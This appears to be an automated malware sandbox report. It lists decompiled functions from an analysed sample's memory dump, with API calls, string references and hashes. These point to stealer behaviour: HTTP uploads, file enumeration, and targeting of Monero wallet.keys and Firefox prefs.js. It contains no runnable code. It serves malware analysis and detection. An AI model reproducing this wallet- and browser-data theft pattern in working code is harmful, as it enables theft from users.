Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 6d71abc5973029218273e98a3fe83a8a4bc2ee4eb45776645d238328d8b3dba2
Instruction ID: d3d0fcf39cc467f039084a8c6d327196d744d0489cac7e43fb005d9b793188e7
Opcode Fuzzy Hash: 6d71abc5973029218273e98a3fe83a8a4bc2ee4eb45776645d238328d8b3dba2
Instruction Fuzzy Hash: D1616375900218ABCB20EBA4DD45FEA777DBB99700F00859CF50D93141EF74AB898FA1

Function 009A48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A483B
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4852
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4868
Part of subcall function 009A4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009A4889
Part of subcall function 009A4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 009A4899

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009A4965
StrCmpCA.SHLWAPI(?,0148FA70), ref: 009A498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009A4B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,009C0DC3,00000000,?,?,00000000,?,",00000000,?,0148F970), ref: 009A4E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009A4E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009A4E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009A4E99
InternetCloseHandle.WININET(00000000), ref: 009A4EFD
InternetCloseHandle.WININET(00000000), ref: 009A4F15
HttpOpenRequestA.WININET(00000000,0148FAA0,?,0148F538,00000000,00000000,00400100,00000000), ref: 009A4B65

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

InternetCloseHandle.WININET(00000000), ref: 009A4F1F

Strings

", xrefs: 009A4C42
", xrefs: 009A4D83
------, xrefs: 009A4CB9
------, xrefs: 009A4B78
------, xrefs: 009A4A0D

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: f68ed9102641e99bae8481bf8b54c5adf28eb6c39a4fb0098b402362039fc0ba
Instruction ID: cc37bfe80385c1a2cfb98513c1e70a8f0595258488338c678bec7bc33fbd6fd9
Opcode Fuzzy Hash: f68ed9102641e99bae8481bf8b54c5adf28eb6c39a4fb0098b402362039fc0ba
Instruction Fuzzy Hash: 3B120C72914118AACB19EB94DE92FEEB37DAF95310F504199F10663491EF702F48CF62

Function 009B39B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009B39D3
FindFirstFileA.KERNEL32(?,?), ref: 009B39EA
StrCmpCA.SHLWAPI(?,009C0F7C), ref: 009B3A18
StrCmpCA.SHLWAPI(?,009C0F80), ref: 009B3A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 009B3B7C
FindClose.KERNEL32(000000FF), ref: 009B3B91

Strings

%s\%s, xrefs: 009B39C7

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 7e8455ebecf344a0e886a01f04750e10981c7a7b8d021449697a456126dd2d05
Instruction ID: 08ef8724537309013814891d229939e618b987ee4dd43f0e4fa7b311d5d4e060
Opcode Fuzzy Hash: 7e8455ebecf344a0e886a01f04750e10981c7a7b8d021449697a456126dd2d05
Instruction Fuzzy Hash: BD5177B5900218ABCB24EBA4DD85FEA777CBB98704F40859CF64997040DF749B89CFA4

Function 009AF4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009C155C,009C0D7E), ref: 009AF55E
StrCmpCA.SHLWAPI(?,009C1560), ref: 009AF5AF
StrCmpCA.SHLWAPI(?,009C1564), ref: 009AF5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 009AF8F1
FindClose.KERNEL32(000000FF), ref: 009AF903

Strings

prefs.js, xrefs: 009AF652

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 6a04f6a69dd2ce8937c7da81b16721ce6801422f17033b8e70dfbece7b5328ff
Instruction ID: 3ed0f4ff19289bd8ae0ddb02494a33558183672c118fc3a18c85ae2b26a387da
Opcode Fuzzy Hash: 6a04f6a69dd2ce8937c7da81b16721ce6801422f17033b8e70dfbece7b5328ff
Instruction Fuzzy Hash: 18B12071904208ABCB64EF64DD96FEE737DAFD5310F0085A8E80A57151EF316B49CB92

Function 009A1710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009C500C,?,?,?,009C50B4,?,?,00000000,?,00000000), ref: 009A1963
StrCmpCA.SHLWAPI(?,009C515C), ref: 009A19B3
StrCmpCA.SHLWAPI(?,009C5204), ref: 009A19C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009A1D80
DeleteFileA.KERNEL32(00000000), ref: 009A1E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 009A1E60
FindClose.KERNEL32(000000FF), ref: 009A1E72

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Strings

\*.*, xrefs: 009A1831

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 99cdf2d06e0641f1ba484cdd03435a4dad09b599f87ee3637a66d34aaf401b2b
Instruction ID: 94caf6ee600b6f0dcc2d6dcb85a98682edb5bf42209e8e85c09e6a9ba652e03c
Opcode Fuzzy Hash: 99cdf2d06e0641f1ba484cdd03435a4dad09b599f87ee3637a66d34aaf401b2b
Instruction Fuzzy Hash: A5120971914118ABCB59EB64CD96FEE737CAF94310F4041A9F51A62091EF706F88CFA2

Function 009AD8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009C1454,009C0B96), ref: 009AD92B
StrCmpCA.SHLWAPI(?,009C1458), ref: 009AD973
StrCmpCA.SHLWAPI(?,009C145C), ref: 009AD989
FindNextFileA.KERNELBASE(000000FF,?), ref: 009ADC0C
FindClose.KERNEL32(000000FF), ref: 009ADC1E

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 710dc2611ace498e1dad80c65fbcc7d0e58bc78987359f575c5561b1d44ab6d6
Instruction ID: b0e54dd9966e1712272934cbfe5fa62539245b831eaaddeb1bd2ab4f03576dac
Opcode Fuzzy Hash: 710dc2611ace498e1dad80c65fbcc7d0e58bc78987359f575c5561b1d44ab6d6
Instruction Fuzzy Hash: FD914272900208ABCB14FBB4DD56FED737DABD9310F008668F85B56541EE349B5C8B92

Function 009B7630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

GetKeyboardLayoutList.USER32(00000000,00000000,009C059F), ref: 009B7681
LocalAlloc.KERNEL32(00000040,?), ref: 009B7699
GetKeyboardLayoutList.USER32(?,00000000), ref: 009B76AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 009B7702
LocalFree.KERNEL32(00000000), ref: 009B77C2

Strings

/ , xrefs: 009B771F

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 371e8a510c80c92762f307a2c3bc20ae7b55e87f28fb35caafd36e993fb94d22
Instruction ID: 09f7f980e6beadcee0e4c7573dec0e2eeb77ea26aa3ce66e3590129a410b3419
Opcode Fuzzy Hash: 371e8a510c80c92762f307a2c3bc20ae7b55e87f28fb35caafd36e993fb94d22
Instruction Fuzzy Hash: 98415F71944218ABCB24DF94DD99FEDB778FB98710F2042D9E10A62190DB746F84CFA1

Function 009AE270 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,009C0C1F), ref: 009AE2E2
StrCmpCA.SHLWAPI(?,009C149C), ref: 009AE332
StrCmpCA.SHLWAPI(?,009C14A0), ref: 009AE348
FindNextFileA.KERNEL32(000000FF,?), ref: 009AEA1F

Strings

\*.*, xrefs: 009AE28D

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
